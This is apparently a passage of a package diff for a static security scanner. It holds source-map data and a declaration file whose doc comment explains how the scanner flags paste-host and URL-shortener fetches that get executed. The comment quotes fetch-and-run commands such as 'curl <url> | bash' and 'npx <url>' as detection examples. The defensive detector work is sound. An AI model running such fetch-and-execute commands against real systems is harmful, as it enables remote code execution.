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"}
|
|
@@ -0,0 +1,69 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Security Scanner — paste/snippet-host reputation + fetch-context escalation
|
|
3
|
+
* @module @skillsmith/core/security/scanner/SecurityScanner.paste-host
|
|
4
|
+
*
|
|
5
|
+
* SMI-6033 Wave 3 (Gap 4 fix): the originally-shipped version of this
|
|
6
|
+
* detector (commit b74c18436) implemented a SIMPLER, and in one specific way
|
|
7
|
+
* INCORRECT, design relative to the approved plan
|
|
8
|
+
* (docs/internal/implementation/smi-6033-clawhavoc-scanner-gaps.md, Gap 4):
|
|
9
|
+
* it used a single flat PASTE_HOST_DOMAINS list (incorrectly including
|
|
10
|
+
* transfer.sh/file.io alongside glot.io/pastebin.com) and treated ANY
|
|
11
|
+
* same-line fetch of a paste-host URL as standalone-critical, with no
|
|
12
|
+
* requirement that the fetched content actually be EXECUTED. This file fixes
|
|
13
|
+
* both:
|
|
14
|
+
*
|
|
15
|
+
* 1. Two separate reputation tiers (patterns.ts): `ANON_PASTE_HOSTS` (+
|
|
16
|
+
* `URL_SHORTENER_DOMAINS`, execution-gated the same way) vs.
|
|
17
|
+
* `TRANSIENT_TRANSFER_HOSTS` (never standalone-critical — a deliberate,
|
|
18
|
+
* documented exception for legitimate debugging/incident-response
|
|
19
|
+
* fetches of ephemeral reproducers).
|
|
20
|
+
* 2. Execution evidence is now REQUIRED for `ANON_PASTE_HOSTS`/shorteners
|
|
21
|
+
* to reach critical — either (a) the URL is piped directly to an
|
|
22
|
+
* interpreter on the same line (`curl <url> | bash`, no intermediate
|
|
23
|
+
* file), (b) `npx <url>` directly executes the fetched content (no
|
|
24
|
+
* pipe, no intermediate file either), or (c) the fetch destination is
|
|
25
|
+
* subsequently executed/chmod'd/sourced ELSEWHERE in the content,
|
|
26
|
+
* correlated via the shared `isCorrelatedWithFetchDestination` utility
|
|
27
|
+
* (SecurityScanner.fetch-correlation.ts). Fetched-but-not-executed, or
|
|
28
|
+
* merely linked, now correctly stays at the existing scanUrls()
|
|
29
|
+
* `url`:medium finding — no new finding here.
|
|
30
|
+
*
|
|
31
|
+
* (a)/(b) are a NEW, local execution-detection shape distinct from (c):
|
|
32
|
+
* `isCorrelatedWithFetchDestination` only detects "was this basename later
|
|
33
|
+
* written as a fetch command's DOWNLOAD DESTINATION, then referenced
|
|
34
|
+
* elsewhere" — it has no notion of a same-line direct pipe/direct-exec (no
|
|
35
|
+
* intermediate file at all). The direct-pipe/npx-direct-exec patterns below
|
|
36
|
+
* are local to this file (not promoted to the shared fetch-correlation
|
|
37
|
+
* module, which Gap 5's concurrent xattr fix does not touch) and are
|
|
38
|
+
* deliberately scoped to "the URL being piped/executed is specifically a
|
|
39
|
+
* paste-host or shortener domain" — `CODE_EXECUTION_PATTERNS`' own curl|bash
|
|
40
|
+
* pattern (patterns.ts) already fires independently for ANY curl|bash
|
|
41
|
+
* regardless of domain reputation; this file adds the DOMAIN-REPUTATION-aware
|
|
42
|
+
* escalation on top.
|
|
43
|
+
*
|
|
44
|
+
* `TRANSIENT_TRANSFER_HOSTS` never reaches critical: it emits
|
|
45
|
+
* `paste_host_fetch` at medium whenever it is an actual fetch target (the URL
|
|
46
|
+
* is the ARGUMENT of a same-line fetch verb — see `isActualFetchTarget`
|
|
47
|
+
* below), regardless of execution evidence — `curl file.io/x | bash` alone
|
|
48
|
+
* staying sub-threshold is intentional, not a gap (see patterns.ts's
|
|
49
|
+
* `TRANSIENT_TRANSFER_HOSTS` comment for the rationale).
|
|
50
|
+
*
|
|
51
|
+
* SMI-6033 Wave 3 (adversarial-review fix): the "is this URL fetched?" gate
|
|
52
|
+
* used to be a bare `FETCH_COMMAND_PATTERN` test against the whole LINE, so a
|
|
53
|
+
* fetch verb ANYWHERE on the line counted — `curl --version; see mirror docs
|
|
54
|
+
* at https://pastebin.com/abc` wrongly registered the pastebin URL as
|
|
55
|
+
* fetched. Replaced with `isActualFetchTarget`, which binds the URL to the
|
|
56
|
+
* verb by tokenizing the prefix that precedes it. Same bug class as Wave 4's
|
|
57
|
+
* `decoy_misdirection` fix; see `isActualFetchTarget`'s own doc comment for
|
|
58
|
+
* the two deliberate adaptations to this detector's inputs. This affects ONLY
|
|
59
|
+
* the same-line fetch-target gate — the direct-pipe and npx-direct-exec
|
|
60
|
+
* execution-evidence paths below are a different code path and are unchanged.
|
|
61
|
+
*
|
|
62
|
+
* Known, documented residual (static scanner, no network I/O): redirect-
|
|
63
|
+
* chain/final-host resolution is out of scope by design — custom domains,
|
|
64
|
+
* redirects, and compromised allowlisted hosts are a known residual.
|
|
65
|
+
*/
|
|
66
|
+
import type { SecurityFinding } from './types.js';
|
|
67
|
+
import type { LineContext } from './SecurityScanner.helpers.js';
|
|
68
|
+
export declare function scanPasteHostFetch(content: string, lineContexts?: LineContext[]): SecurityFinding[];
|
|
69
|
+
//# sourceMappingURL=SecurityScanner.paste-host.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"SecurityScanner.paste-host.d.ts","sourceRoot":"","sources":["../../../../src/security/scanner/SecurityScanner.paste-host.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;GAgEG;AAEH,OAAO,KAAK,EAAE,eAAe,EAAE,MAAM,YAAY,CAAA;AACjD,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,8BAA8B,CAAA;AAkO/D,wBAAgB,kBAAkB,CAChC,OAAO,EAAE,MAAM,EACf,YAAY,CAAC,EAAE,WAAW,EAAE,GAC3B,eAAe,EAAE,CAkEnB"}
|